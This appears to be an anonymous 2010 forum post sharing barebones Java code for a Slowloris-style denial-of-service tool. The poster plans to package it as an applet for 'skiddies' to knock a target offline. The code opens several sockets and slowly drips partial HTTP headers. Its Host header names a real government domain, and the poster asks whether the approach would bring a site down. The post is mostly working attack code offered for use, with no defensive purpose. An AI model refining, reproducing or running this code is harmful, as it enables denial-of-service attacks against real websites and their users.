Name: Anonymous 2010-02-08 16:48
Shall I continue my endeavour to create a java slowlorris applet? Idea being to make it into a applet to give to skiddies to dos a target. This is just barebones theory code, meaning it executes but I'm wandering if the logic used here would be sound enough to bring something down in sufficient quantities.
import java.lang.*;
import java.io.*;
import java.net.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.util.*;
public class Client {
public static void main(String[] args) {
for (int i = 0; i < 5; i++)
{
new Sockit();
}
}
}
class Sockit {
public Sockit() {
try {
Random r1 = new Random();
Socket skt = new Socket("host", 80);
PrintWriter out = new PrintWriter(skt.getOutputStream(), true);
String request;
request="GET "+r1.nextInt(9999999)+" HTTP/1.1\r\nHost: aph.gov.au\r\nUser-Agent: Mozilla/4."+r1.nextInt(99)+"
(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; MSOffice 12)\r\nContent-Length: 42\r\n";
int len = request.length();
for (int j = 0; j < len; j++) {
out.println(request.charAt(j));
System.out.println(request.charAt(j));
Thread.sleep(200);
System.out.println("wait over");
}
}
catch(Exception e) {
System.out.print("Whoops! It didn't work!\n");
}
}
}